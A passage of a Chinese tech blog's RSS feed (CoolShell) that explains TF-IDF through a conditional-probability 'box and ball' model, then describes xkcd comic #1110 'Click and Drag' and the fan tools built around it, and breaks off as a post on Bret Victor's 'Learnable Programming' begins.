d)排序的相关文档列表D&#8217;”本身是值得反思的。我们应当考虑抛弃“匹配度”这种模糊的目标，从根源上寻求一种具有明确数学意义的目标。如果我们从概率视角来看，<strong>把“查询串q和文档d的匹配度”问题转换为“当查询串是q时，用户期望获得文档d的概率”问题</strong>，信息检索问题就清晰多了。一方面这个概率描述是站在人的角度来看待信息检索问题的，更加贴近实际的用户体验；另一方面，概率本身是有明确数学意义的，这样我们就首先从目标上对问题进行了严格化。</p>\n<p>下面，我将通过一个模型，从概率的视角，一边解释tf-idf的概率意义，一边指出其不合理之处。</p>\n<h4>盒子小球模型</h4>\n<p>为了分析“当查询串是q时，用户期望获得文档d的概率”问题，我首先建立了一种称为“盒子小球模型”的简化模型。盒子小球模型把词想象成各种不同颜色的小球，文档想象成装有若干小球的盒子，把“当查询串是q时，用户期望获得文档d的概率“转换为下面的问题：</p>\n<p><strong>有n个盒子d[1], d[2], &#8230; d[n]，每个盒子中有若干不同颜色的小球，有人随机地选择了一个盒子，并从盒子中随机地拿出了一个颜色为w[j]的小球，那么这个小球来自于盒子d[i]的概率是多少？</strong></p>\n<p>其实，这就是经典的条件概率问题P(d[i] | w[j])，采用贝叶斯推断将其转化为：</p>\n<pre><code>\nP(d[i] | w[j]) \n= P(d[i], w[j]) / P(w[j]) \n= P(d[i]) * P(w[j] | d[i]) / P(w[j]) \n</code></pre>\n<p>我们注意到这个条件概率包括几个部分，P(d[i])是盒子d[i]被选中的先验概率，p(w[j])是w[j]颜色小球被选中的先验概率，P(w[j] | d[i])是在盒子d[i]中选中颜色w[j]小球的条件概率。</p>\n<h4>文档先验概率P(d)与PageRank</h4>\n<p>首先，我们来看盒子d[i]被选中的先验概率P(d[i])是什么。P(d[i])的意义是：当用户什么也没有输入的时候，它可能对文档d[i]感兴趣的概率。在没有更多信息的情况下，我们可以认为每个盒子被选中的先验概率P(d[i])是相等的，都等于1 / m，其中m表示总文档数（总盒子数），这时P(d[i])作为公共系数可被忽略。不过，在实际应用中，我们通常可以根据其他知识获得各文档的先验概率，比如，学术文献和网页通常可以基于引用度模型计算其先验概率，这些经典论文和热门网页是多数人乐于见到的。说到这里，你可能已经发现，Google PageRank本质上就是这个先验概率P(d[i])乘以某个系数！所以，PageRank实际上也被纳入这个条件概率模型中来了，这就不难解释为什么在Google的排序算法中PageRank权重和tf-idf权重是一种乘积关系而不是加或者指数关系。另一方面，在理解了文档先验概率对整个搜索结果概率的影响后，当搜索引擎中针对PageRank出现各种假链接SEO时，我们可以不拘泥于基于链接引用模型的PageRank，只要是以网页先验概率为目标，不论是采用基于链接引用的PageRank，还是基于搜索结果点击数模型，或是其他模型，都是可以的。这就是“变通”，从原理上“通”了，就可以在方法上“变”。</p>\n<h4>词的先验概率P(w)</h4>\n<p>下面我们来考察词w[j]的先验概率P(w[j])。P(w[j])的意义是：在整个文档集合中，w[j]被作为搜索关键词的概率，比如：“iPhone 5”，“青花瓷”这类词被用作搜索关键词的概率较高，而“的”，“什么”，“我们”这类高频词不大可能成为搜索关键词。那么，我们如何来定量计算P(w[j])呢？一种思路就是把w[j]在文档集中出现的频率作为其先验概率。不过，显然存在更好的方案：在大量的搜索查询中进行统计，统计方法得出P(w[j])的方法很接近P(w[j])本质的，不需要引入额外的假设。比如，一段时间内某搜索引擎的搜索总次数为10^10次，“公积金”这个词出现了100次，那么，我们可以认为先验概率P(&#8220;公积金&#8221;)就是100 / 10^10 = 10^-8。</p>\n<h4>词代表文档主题的条件概率P(w | d)</h4>\n<p>最后，我们来看条件概率P(w[j] | d[i])。P(w[j] | d[i])的意义是在文档d[i]中，人们用关键词w[j]来搜索它的概率。那么，什么样的词是人们会用来搜索一篇文档的呢？多数情况下，是那些代表一篇文档主题的词。比如，有一篇新闻是关于iPhone 5发布会的，那么“iPhone5”， “发布会”，“库克”，“苹果”这些词基本上就构成了文章的主题；那么，反过来说，如果用户想搜索这篇关于iPhone 5发布会的新闻，他就有很大的可能通过这几个词来进行搜索。我们应当注意分辨P(w[j] | d[i])与P(w[j])的区别，后者可以通过大量的查询统计得来，而前者不能与后者直接划等号，因为前者的意义是w[j]代表d[i]主题的概率。如果非要引入统计方法，那么P(w[j] | d[i])对应的统计是：当搜索关键词是w[j]且搜索结果包含d[i]时，用户点击（满意）d[i]作为搜索结果的频率。比如，用“iPhone5 发布会”的搜索，在结果中有都10000次出现了网页x，其中，用户8000次点击了网页x，那么，可以认为有80%的概率网页x的主题是关于“iPhone5 发布会”的。</p>\n<h4>词的信息量和idf</h4>\n<p>上面谈到了对P(w[j] | d[i])的计算的统计方法，但该方法有一定的局限，比如，要能进行统计首先需要文档出现在足够多的搜索结果中，需要时间和量的积累。除了统计方法外，我们可以考虑其他方法计算词w[j]代表文档d[i]主题的概率。可能有人立刻会想到要对文章进行语义分析提取关键词，给这些关键词高权重，给其他词低权重。这种想法有一定的合理性，但实现上涉及语义分析，没有成熟高效的方法。实际上，信息论为我们提供了另一条高效方案。上面谈到“的”，“什么”，“我们”这类高频词不会成为文档主题和搜索关键词的原因是它们不能提供足够的信息，而“iPhone 5”，“发布会”这样的词汇则信息量丰富。所谓信息是指对不确定性（熵）的减小程度，信息的单位是比特(bit)，信息量越大对于不确定性的减小程度越大。比如，外面可能在下雨也可能没有下雨，可能性空间大小为2，如果我们看一眼窗外，可能性空间就变成了1，那么“看见窗外在下雨”所提供的信息量就和熵的减小程度成正比，具体来讲等于log(2/1)=1。如果要用二进制编码是否下雨，需要1个bit，0代表没有下雨，1代表下雨。</p>\n<p>但在很多场景下，各个可能性的概率并不相同，比如：欧洲杯16只球队都可能夺冠，赛前它们夺冠的先验概率并不相同，那么结果的不确定性程度实际上是小于log(16)=4。如果你没有看比赛，有人告诉你西班牙夺冠了，你可能会觉得很正常，但如果有人告诉你瑞士夺冠了，你通常会非常惊讶。这一现象的理论解释是，如果赛前西班牙夺冠概率是1/4，而瑞士夺冠概率是1/32，那么，“西班牙夺冠”的信息量为log(4)=2，即把不确定性减小为原来的1/4，而“瑞士夺冠”的信息量为log(32)=5，不确定性减小为原来的1/32，一下子接受比前者大了两倍以上的信息量，当然你会吃惊。</p>\n<p>回到信息检索，比如，“2012美国大选”这个查询串包含了“2012”，“美国”和“大选”3个关键词，我们应该如何定量计算它们的信息量呢？根据信息的定义，词的信息量等于它对不确定性的缩小程度。如果文档总数为2^30，其中2^14篇文档出现了“美国”，那么“美国”这个词就把文档的不确定性从2^30缩小为2^14，它所包含的信息量为log(2^30/2^14)=16；而只有2^10篇文档出现了“大选”，那么大选的信息量就是log(2^30/2^10)=20，比“美国”多了4个bit。而“的”，“什么”，“我们”这些高频词对减小文档不确定性几乎没有帮助，因而信息量为0。相信你已经发现，上面idf(w)公式中的log(n / docs(w, D))实际上就是词w的信息量了。</p>\n<p>如果我们考虑词的信息量对条件概率P(w[j] | d[i])的影响，假设“词w在文档中被选中的概率与其在文档中的出现频率和其信息量的乘积成正比”，那么上面的条件概率模型就变成：</p>\n<pre><code>\nP(d[i] | w[j]) \n= P(d[i], w[j]) / P(w[j]) \n= P(d[i]) * P(w[j] | d[i]) / P(w[j]) \n= P(d[i]) * (tf(w[j], d[i]) * idf(w[j] / sum { k = 1..size(d[i]), tf(w[k], d[i]) * idf(w[k]) }) / p(w[j]) \n= P(d[i]) * (tf-idf(w[j], d[i]) / sum { k = 1..size(d[i]), tf-idf(w[k], d[i]) }) / p(w[j]) \n= P(d[i]) * (tf-idf(w[j], d[i]) / tf-idf(d[i])) / p(w[j]) \n</code></pre>\n<p>我们看到tf-idf已经被纳入框架内了，但是还多出文档先验概率P(d[i])，关键词先验概率P(w[j])和文档各词的总tf-idf(d[i])。普通搜索引擎是基于PageRank和tf-idf的，那么，根据这个概率模型，我们可以看出，它没有考虑文档总tf-idf(d[i])和关键词先验概率p(w[j])。如果考虑这两个因素，相信搜索效果会更好。</p>\n<h4>多关键词</h4>\n<p>上面的条件概率模型主要是针对单个关键词的情况，下面我们进一步将其扩展到多关键词情况。我们知道，在tf-idf中，多个关键词的所产生的tf-idf值是一种叠加关系，那么这是否符合条件概率模型呢？答案是否定的。在两个关键字情况下，条件概率问题转化为“如果有人从一个盒子中同时摸出颜色w[x]的小球和颜色w[y]的小球，这两个小球来自于盒子d[i]的概率是多少？”。假设从盒子中摸出各个小球事件是相互独立的情况下，即</p>\n<pre><code>\nP(w[x], w[y]) \n= P(w[x]) * P(w[y]) P(w[x], w[y] | d[i]) \n= P(w[x] | d[i]) * P(w[y] | d[i]) \n</code></pre>\n<p>我们可以推导出条件概率：</p>\n<pre><code>\nP(d[i] | w[x], w[y]) \n= P(d[i], w[x], w[y]) / P(w[x], w[y]) \n= P(d[i]) * P(w[x], w[y] | d[i]) / P(w[x], w[y]) \n= P(d[i]) * P(w[x] | d[i]) * P(w[y] | d[i]) / (P(w[x] * P(w[y])) \n= P(d[i]) * (tf-idf(w[x], d[i]) / tf-idf(d[i])) * ((tf-idf(w[y], d[i]) / tf-idf(d[i]))) / (p(w[x]) * P(w[y])) \n</code></pre>\n<p>可见，概率模型所得出的各个关键词的tf-idf值之间是乘积关系，这是与tf-idf模型的加法关系是不同的。这一点可能与二者是否要求“文档必须包含所有查询关键词”的基本假设有关系。在文档不包含所有关键字的这种情况下，tf-idf模型可能得出一个非0的匹配度，但条件概率模型得出的概率肯定为0。不过，如果考虑一般查询关键词数量不多（3个以内），而大量文档都同时包含这些关键词，概率模型的乘积关系是比tf-idf模型的加法关系更有理论基础。从根本上讲，这是因为tf-idf的“匹配度”是一个模棱两可的概念，而条件概率有坚实的理论基础。</p>\n<h4>总结</h4>\n<p>TF-IDF模型是搜索引擎中广泛使用的信息检索模型，但对于TF-IDF模型一直存在各种疑问。本文为信息检索问题一种基于条件概率的盒子小球模型，其核心思想是把“查询串q和文档d的匹配度问题”转化为“查询串q来自于文档d的条件概率问题”。它从概率的视角为信息检索问题定义了比TF-IDF模型所表达的匹配度更为清晰的目标。从概率模型中，我们看到查询串q来自于文档d的条件概率主要包含以下几个因素：1) 文档的先验概率P(d[i])，这与PageRank对应；2) 词w被作为搜索关键词的先验概率P(w)，这可以通过统计方法获得；3) 关键词w代表文档d主题，或以词w搜索文档d的概率，P(w | d)，除了统计方法，这可以通过tf-idf来计算。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17391.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/Community-150x150.jpg\" alt=\"为什么我不在微信公众号上写文章\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17391.html\" class=\"wp_rp_title\">为什么我不在微信公众号上写文章</a></li><li ><a href=\"https://coolshell.cn/articles/17225.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/08/cuckoo-150x150.jpg\" alt=\"Cuckoo Filter：设计与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17225.html\" class=\"wp_rp_title\">Cuckoo Filter：设计与实现</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li><li ><a href=\"https://coolshell.cn/articles/11832.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg\" alt=\"【活动】解迷题送礼物\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11832.html\" class=\"wp_rp_title\">【活动】解迷题送礼物</a></li><li ><a href=\"https://coolshell.cn/articles/10590.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/10/QR-Code-Overview-150x150.jpeg\" alt=\"二维码的生成细节和原理\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10590.html\" class=\"wp_rp_title\">二维码的生成细节和原理</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8422.html\">TF-IDF模型的概率解释</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/8422.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>51</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>xkcd 神图“Click and Drag”</title>\n\t\t<link>https://coolshell.cn/articles/8398.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/8398.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 16 Oct 2012 00:15:44 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[xkcd]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=8398</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>xkcd对于经常浏览国外网站的朋友一定不会陌生。不过，还是先让我来介绍一下xkcd（维基百科词条）。这是一个漫画网站，它主要是发布一些很简单的随手画的漫画，它主...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/8398.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/8398.html\">xkcd 神图“Click and Drag”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"http://xkcd.com/\" target=\"_blank\">xkcd</a>对于经常浏览国外网站的朋友一定不会陌生。不过，还是先让我来介绍一下xkcd（<a href=\"http://en.wikipedia.org/wiki/Xkcd\" target=\"_blank\">维基百科词条</a>）。这是一个漫画网站，它主要是发布一些很简单的随手画的漫画，它主要有四种体裁——浪漫、讽刺、数学 和 语言。也会经常出现一些和IT有关的漫画，比如下面这个漫画—— （懂Unix的人一眼就看懂了，不懂的怎么看也看不懂）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-8399\" title=\"xkcd-sandwich\" src=\"https://coolshell.cn/wp-content/uploads/2012/10/xkcd-sandwich.png\" alt=\"\" width=\"360\" height=\"299\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/10/xkcd-sandwich.png 360w, https://coolshell.cn/wp-content/uploads/2012/10/xkcd-sandwich-300x249.png 300w, https://coolshell.cn/wp-content/uploads/2012/10/xkcd-sandwich-325x270.png 325w\" sizes=\"(max-width: 360px) 100vw, 360px\" /></p>\n<p>本质上来说，xkcd是一种Geek文化，里面的东西都非常的Geek和晦涩，讽刺很辛辣，但很多只有特定人群可以看得懂。而且表达的形式自由到天马行空，飘忽不定。</p>\n<p><span id=\"more-8398\"></span></p>\n<p>xkcd.com的网站创建者、所有的漫画的作者叫<a title=\"Randall Munroe\" href=\"http://en.wikipedia.org/wiki/Randall_Munroe\">Randall Munroe</a><img decoding=\"async\" loading=\"lazy\" class=\"alignright\" title=\"Randall Munroe\" src=\"http://upload.wikimedia.org/wikipedia/commons/thumb/f/f4/Randall_Munroe_ducks.JPG/230px-Randall_Munroe_ducks.JPG\" alt=\"\" width=\"230\" height=\"343\" />，他以前在 NASA工作，是那里的Roboticist——机器人专家，80后，同样，也是一个程序员。他还会画漫画。</p>\n<p>xkcd是他于2005年创建的，他本来只是想把他大学里在记事本里画的漫画放到他的个人主页上，但结果却搞成了一个独立的以漫画为主的网站，他用他画的这些漫画做成T恤卖。为什么要取名叫xkcd，据Munroe说，这四个字母，没有任何意义，就是为了让人不能把他们通过拼成一个单词读出来。现在他全职在搞xkcd.com。他现在一周会更新三次漫画，分别在周一，周三，和周五。</p>\n<p>到了2007年5月，xkcd上的漫画才被广泛转载。2008年10月， <em><a title=\"The New Yorker\" href=\"http://en.wikipedia.org/wiki/The_New_Yorker\">The New Yorker</a></em> 杂志对Munroe做了一个采访。</p>\n<p>2010年3月，xkcd的书里的<a href=\"http://forums.xkcd.com/viewtopic.php?p=2042913#p2042829\" target=\"_blank\">谜底被解决了</a>，Munroe在旧金山的金门大桥公园里给他的Fans发了255本限量版的书。</p>\n<p>2012年4月1日愚人节，他的1037 号漫画(&#8220;Umwelt&#8221;) 会根据不同的IP，浏览器和地址显示不同的漫画。</p>\n<p>2012年9月19号，xkcd的第1110号图问世了。</p>\n<h4>XKCD #1110 神图</h4>\n<p>这个图上面就是三格小漫画，一个小人拿着气球，还有两句耐人寻味的话。而<strong>这三格漫画图的下面是一个风景图，取名 Click and Drag，也就是让你点住图片拖动。于是你就不能自拔了。</strong></p>\n<p>我只所以在前面写了那么多东西，而不是把这个链接放在一开始，就是害怕你点了这个图，就再也不回来了。</p>\n<p>好了，现在你可以点下面的链接开这个神图了 （你会发现这个图怎么也拖不完，无穷完尽的，所以，还请你先回来）<strong></strong></p>\n<p style=\"text-align: center; font-size: 24px;\"><strong> <a href=\"http://www.xkcd.com/1110/\" target=\"_blank\">Click and Drag</a></strong></p>\n<p style=\"text-align: center;\"><strong><span style=\"color: #cc0000;\">但请你一定还要回来，本文后面还有精彩内容!</span></strong></p>\n<p><strong>这个图一发布，几乎全世界的各大论坛都在疯狂的转载，很多媒体都关注这个漫画，各种技术社区如：reddit 在疯狂地讨论着这个图是怎么实现的，有多大？还有很多人再分析这个图里的内容，这个图里隐藏着很多很有意思的东西，《有2001太空漫游》，有《星球大战》，还有《超级马丽》等等。</strong></p>\n<p style=\"text-align: center;\"><strong>几乎整个互联网都沸腾了，但好像中国社区对此事完全不知。</strong></p>\n<p>网上出现了很多相关的blog和站点来分析这个图片。如果你在Google里搜xkcd 1110，你会发现很多内容。</p>\n<h4>这个图有多大</h4>\n<ul>\n<li>这个图可以分解成 2592 个 2048 x 2048 像素的图。</li>\n</ul>\n<ul>\n<li>但其中只有 225 个 2048 x 2048 的PNG 图片文件。而剩下的2337 基本上是纯黑的或是纯白的块。比如地下和天空。</li>\n</ul>\n<ul>\n<li>整个图横向有81个2048 x 2048的图（左边有33个，右边有48个），纵向有32个 2048 x 2048个图（天上有13个，地下有19个）</li>\n</ul>\n<ul>\n<li>老大当晚Release的全尺寸的大图（比现在你看到的还要大），不算空白处，图片共有60G的像素，而如果要算上整个图将会是T级别的像素。现在你看到版本已被做过优化，不算空白处，只有1G的像素，而算上全图有10G的像素。 (2048x2048x225 = 943,718,400 和 2048x2048x2592 = 10,871,635,968).</li>\n</ul>\n<ul>\n<li>如果我们按比例来看的话，图中的32个象素对应于现实世界的5英尺，那么，这个图的宽有25920英尺（7.9公里），高有10240英尺（3.1公里）。</li>\n</ul>\n<ul>\n<li>如果每个 2048 x 2048 的PNG图可以被打印成一个300 dpi的宣传画，那么，这个宣传画基本上是14.05米宽，5.55米高的图。现在的PNG被调整过了，只有72dpi左右。</li>\n</ul>\n<p>有人说，创作这么这个大图很费时间。不过我觉得这对于Geek来说不是问题，因为这应该是可以通过矢量图的拼装来搞定。</p>\n<figure id=\"attachment_8400\" aria-describedby=\"caption-attachment-8400\" style=\"width: 645px\" class=\"wp-caption aligncenter\"><a href=\"https://coolshell.cn/wp-content/uploads/2012/10/xkcd1110.png\"><img decoding=\"async\" loading=\"lazy\" class=\" wp-image-8400   \" title=\"xkcd 1110全景缩略图（点击看大缩略图）\" src=\"https://coolshell.cn/wp-content/uploads/2012/10/xkcd1110-1024x346.png\" alt=\"xkcd 1110全景缩略图（点击看大缩略图）\" width=\"645\" height=\"218\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/10/xkcd1110-1024x346.png 1024w, https://coolshell.cn/wp-content/uploads/2012/10/xkcd1110-300x101.png 300w\" sizes=\"(max-width: 645px) 100vw, 645px\" /></a><figcaption id=\"caption-attachment-8400\" class=\"wp-caption-text\">xkcd 1110全景缩略图（点击看大缩略图）</figcaption></figure>\n<h4>看看技术宅们干了什么</h4>\n<p>下面我只记录了些不完全的技术宅们的因为这个画搞出来的东西。大家可以补充。</p>\n<p style=\"padding-left: 30px;\">1）如果你用鼠标翻得不爽的话，你可以<a href=\"http://www.potch.me/blog/press-and-hold.html\" target=\"_blank\">看看这篇文章</a>，在你的Chrome下按Ctrl+Shift+I，然后到Javascript控制台里，粘贴文中的代码，于是，你就可以用键盘的光标键移动并浏览整个世界了。</p>\n<p style=\"padding-left: 30px;\">2）这是个全屏版的：<a href=\"http://ares.aylett.co.uk/xkcd/\" rel=\"nofollow\">http://ares.aylett.co.uk/xkcd/</a></p>\n<p style=\"padding-left: 30px;\">3）如果你要下载所有的图，你可以使用这个<a href=\"http://lebbeo.us/static/get-xkcd-1110.py\" target=\"_blank\">Python脚本</a>来完成（<a href=\"http://lebbeo.us/2012/09/19/not-bbq-fetching-component-images-of-xkcd-comic-1110/\" target=\"_blank\">转自这篇文章</a>）</p>\n<p style=\"padding-left: 30px;\">4）还有人把它搞成了像Google Map一样的东西。 你可以访问下面的链接：</p>\n<blockquote>\n<ul>\n<li><a href=\"http://xkcd-map.rent-a-geek.de/\" target=\"_blank\">http://xkcd-map.rent-a-geek.de/</a></li>\n<li><a href=\"http://xkcdmap.webege.com/\" target=\"_blank\">http://xkcdmap.webege.com/ </a></li>\n</ul>\n<p>5）看看Hacker News的讨论贴吧，什么都有了（<a href=\"http://news.ycombinator.com/item?id=4542367\" target=\"_blank\">http://news.ycombinator.com/item?id=4542367</a>）</p></blockquote>\n<p>当然，对于这个图最强的一个站点如下，解释了所有和这个图有关信息，包括图中的各种文字和图案的意思。</p>\n<p style=\"text-align: center;\"><a href=\"http://www.explainxkcd.com/wiki/index.php?title=1110:_Click_and_Drag\" target=\"_blank\">http://www.explainxkcd.com/wiki/index.php?title=1110:_Click_and_Drag</a></p>\n<p style=\"text-align: left;\">看到这个图后，我陷入了深深地沉思，我在想。是什么样的动力能让人干出这样的事来？兴趣，还是为了好玩。还就是为了证明他能干一些让人拍案叫绝的东西？<strong>这可能就是一种Geek精神吧。就是为了能做出让世人冿冿乐道的东西</strong>。</p>\n<p style=\"text-align: left;\">（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8398.html\">xkcd 神图“Click and Drag”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/8398.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>54</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Bret Victor &#8211; Learnable Programming</title>\n\t\t<link>https://coolshell.cn/articles/8387.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/8387.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 14 Oct 2012 08:37:04 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Bret Victor]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[Programming]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=8387</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>大家是否还记得之前酷壳向大家介绍的苹果设计师Bret Victor一种可视编程的视频《Bret Victor – Inventing on Principle》...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/8387.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/8387.html\">Bret Victor – Learnable Programming</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>大家是否还记得之前酷壳向大家介绍的苹果设计师<a href=\"http://worrydream.com/\" target=\"_blank\">Bret Victor</a>一种可视编程的视频《<a href=\"https://coolshell.cn/articles/6775.html\" rel=\"bookmark\">Bret Victor – Inventing on Principle</a>》，最近，他写了一篇文章——<a href=\"http://worrydream.com/LearnableProgramming/\" target=\"_blank\"> Learnable Programming</a>，写这篇文章的原因是因为“可汗学院(Khan Academy)”近期上线的一个<a href=\"http://www.khanacademy.org/cs\" target=\"_blank\">在线编程环境</a>，根据他的演讲提供了一堆基于Javascript的“实时编程”的环境，因为这个环境是<a href=\"http://ejohn.org/blog/introducing-khan-cs\" target=\"_blank\">引用了他的想法</a>，所以，他有必要出来喷两句。</p>\n<p>这篇文章的开头就是一个问题——“<em>How do we get people to understand programming?</em>”，我们怎么让人们懂得编程？</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-8389\" 